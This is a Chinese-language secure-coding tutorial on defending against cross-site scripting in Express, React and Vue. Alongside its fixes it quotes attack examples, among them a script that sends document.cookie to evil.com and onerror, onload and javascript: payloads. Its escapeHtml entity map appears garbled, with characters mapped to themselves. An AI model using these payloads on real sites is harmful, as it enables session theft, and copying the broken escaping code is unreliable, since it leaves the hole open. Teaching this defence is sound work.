跨站脚本攻击(XSS)防御
XSS是最常见的Web安全漏洞,攻击者注入恶意脚本窃取用户信息或执行恶意操作。
XSS攻击类型
反射型XSS
恶意脚本通过URL参数注入,服务器反射回响应中。
JavaScript
// 危险代码:直接使用URL参数
app.get('/search', (req, res) => {
const query = req.query.q;
res.send(`<h1>搜索结果: ${query}</h1>`); // XSS漏洞
});
// 攻击URL
// /search?q=<script>fetch('https://evil.com?cookie='+document.cookie)</script>
JavaScript
// 安全代码:输出编码
app.get('/search', (req, res) => {
const query = escapeHtml(req.query.q);
res.send(`<h1>搜索结果: ${query}</h1>`);
});
function escapeHtml(str) {
return String(str).replace(/[&<>"'/]/g, c => ({
'&': '&', '<': '<', '>': '>',
'"': '"', "'": ''', '/': '/'
}[c]));
}
存储型XSS
恶意脚本存储在服务器(数据库、文件),每次访问都会执行。
JavaScript
// 危险代码:存储并直接显示用户内容
app.post('/comment', (req, res) => {
const comment = req.body.content;
db.saveComment(comment); // 直接存储
});
app.get('/comments', (req, res) => {
const comments = db.getComments();
res.send(comments.map(c => `<div>${c.content}</div>`).join(''));
// XSS漏洞:存储的恶意脚本直接输出
});
JavaScript
// 安全代码:存储时净化或显示时编码
import DOMPurify from 'dompurify';
app.post('/comment', (req, res) => {
// 方案1:存储时净化(允许安全HTML)
const cleanContent = DOMPurify.sanitize(req.body.content, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p', 'br'],
ALLOWED_ATTR: []
});
db.saveComment(cleanContent);
});
// 方案2:显示时编码(纯文本)
app.get('/comments', (req, res) => {
const comments = db.getComments();
res.send(comments.map(c =>
`<div>${escapeHtml(c.content)}</div>`
).join(''));
});
DOM型XSS
恶意脚本通过JavaScript操作DOM注入,不经过服务器。
JavaScript
// 危险代码:直接使用location.hash
const content = location.hash.slice(1);
document.getElementById('output').innerHTML = decodeURIComponent(content);
// 攻击URL
// https://example.com#<img src=x onerror=alert(1)>
JavaScript
// 安全代码:使用textContent或编码
const content = location.hash.slice(1);
document.getElementById('output').textContent = decodeURIComponent(content);
// 或使用安全的innerHTML设置
const content = location.hash.slice(1);
document.getElementById('output').textContent = decodeURIComponent(content);
防御策略
1. 输出编码
根据上下文选择正确的编码方式。
JavaScript
// HTML上下文编码
function escapeHtml(str) {
const map = {
'&': '&', '<': '<', '>': '>',
'"': '"', "'": ''', '/': '/'
};
return String(str).replace(/[&<>"'/]/g, c => map[c]);
}
// JavaScript上下文编码
function escapeJs(str) {
return String(str).replace(/[\\'"<>]/g, c =>
'\\x' + c.charCodeAt(0).toString(16).padStart(2, '0')
);
}
// URL上下文编码
function encodeUrl(str) {
return encodeURIComponent(str);
}
2. 内容安全策略(CSP)
CSP限制脚本执行来源,有效防止XSS。
JavaScript
// Express设置CSP头
app.use((req, res, next) => {
res.setHeader('Content-Security-Policy',
"default-src 'self'; " +
"script-src 'self' https://trusted.cdn.com; " +
"style-src 'self' 'unsafe-inline'; " +
"img-src 'self' data: https:; " +
"font-src 'self'; " +
"connect-src 'self' https://api.example.com; " +
"frame-ancestors 'none'; " +
"base-uri 'self'; " +
"form-action 'self'"
);
next();
});
HTML
<!-- HTML meta标签设置 -->
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self'">
CSP指令说明:
| 指令 | 作用 |
|---|---|
default-src | 默认资源来源 |
script-src | JavaScript来源 |
style-src | CSS来源 |
img-src | 图片来源 |
connect-src | AJAX/WebSocket来源 |
frame-ancestors | 嵌套来源(防点击劫持) |
3. HttpOnly Cookie
防止JavaScript读取敏感Cookie。
JavaScript
// 设置HttpOnly Cookie
app.use(session({
secret: process.env.SESSION_SECRET,
cookie: {
httpOnly: true, // JavaScript无法读取
secure: true, // 仅HTTPS传输
sameSite: 'strict'
}
}));
// 或手动设置
res.cookie('sessionId', token, {
httpOnly: true,
secure: true,
sameSite: 'strict'
});
4. 输入净化
使用专业库净化HTML输入。
JavaScript
import DOMPurify from 'dompurify';
// 基础净化
const clean = DOMPurify.sanitize(userInput);
// 严格净化:只允许部分标签
const strict = DOMPurify.sanitize(userInput, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'],
ALLOWED_ATTR: ['href'],
ALLOW_DATA_ATTR: false
});
// 移除所有HTML(纯文本)
const plainText = DOMPurify.sanitize(userInput, { ALLOWED_TAGS: [] });
5. 前端框架防护
现代框架自带XSS防护,但需正确使用。
jsx
// React:默认安全
function Safe({ name }) {
return <div>{name}</div>; // 自动编码
}
// React:危险用法
function Unsafe({ html }) {
return <div dangerouslySetInnerHTML={{ __html: html }} />; // 需净化
}
// React:安全使用dangerouslySetInnerHTML
function SafeHtml({ html }) {
const clean = DOMPurify.sanitize(html);
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
vue
<!-- Vue:默认安全 -->
<template>
<div>{{ userInput }}</div> <!-- 自动编码 -->
</template>
<!-- Vue:危险用法 -->
<template>
<div v-html="userInput"></div> <!-- 需净化 -->
</template>
常见XSS向量
事件处理器
HTML
<!-- 危险:用户输入进入事件处理器 -->
<div onclick="showUser('${userInput}')">
<!-- 安全:使用data属性 -->
<div data-user="${escapeHtml(userInput)}" onclick="showUser(this.dataset.user)">
javascript:协议
HTML
<!-- 危险:javascript: URL -->
<a href="${userInput}">Link</a>
<!-- 安全:验证协议 -->
<a href="${safeUrl(userInput)}">Link</a>
JavaScript
function safeUrl(url) {
const parsed = new URL(url, location.origin);
if (!['http:', 'https:'].includes(parsed.protocol)) {
return '#';
}
return parsed.href;
}
SVG/MathML
HTML
<!-- SVG中的XSS -->
<svg onload="alert(1)">
<!-- MathML中的XSS -->
<math><maction actiontype="statusline#http://evil.com" xlink:href="javascript:alert(1)">
JavaScript
// 净化时移除危险标签
DOMPurify.sanitize(input, {
FORBID_TAGS: ['svg', 'math', 'script', 'iframe'],
FORBID_ATTR: ['onerror', 'onload', 'onclick']
});
模板注入
JavaScript
// 危险:模板字符串注入
const template = `<div>${userInput}</div>`; // 用户输入含模板语法
// 安全:先编码
const safe = escapeHtml(userInput);
const template = `<div>${safe}</div>`;
XSS检测
自动化扫描
Bash
# 使用OWASP ZAP
zap-baseline.py -t https://example.com
# 使用NPM包
npm install -g xss-scan
xss-scan https://example.com
代码审查
JavaScript
// 高危模式搜索
// innerHTML, outerHTML, document.write
// dangerouslySetInnerHTML, v-html
// eval, new Function, setTimeout(string)
// javascript:, data: URL
防御检查清单
| 检查项 | 要求 |
|---|---|
| 输出编码 | 所有用户输入输出时编码 |
| CSP | 配置严格的CSP策略 |
| Cookie | HttpOnly + Secure + SameSite |
| 输入净化 | 允许HTML时使用DOMPurify |
| 框架使用 | 避免v-html、dangerouslySetInnerHTML |
| URL验证 | 验证协议白名单 |
| 事件处理 | 避免内联事件处理器 |
要点总结
XSS类型:
- 反射型:URL参数注入,即时执行
- 存储型:数据库存储,持久危害
- DOM型:前端JavaScript注入
防御核心:
- 输出编码是第一道防线
- CSP提供深度防御
- HttpOnly保护敏感Cookie
- 使用框架默认防护
- 避免不安全的API(innerHTML、eval等)
最佳实践:
- 所有输出点都必须编码
- 配置严格的CSP
- 使用DOMPurify净化HTML
- 定期进行安全扫描
📝 发现内容有误?点击此处直接编辑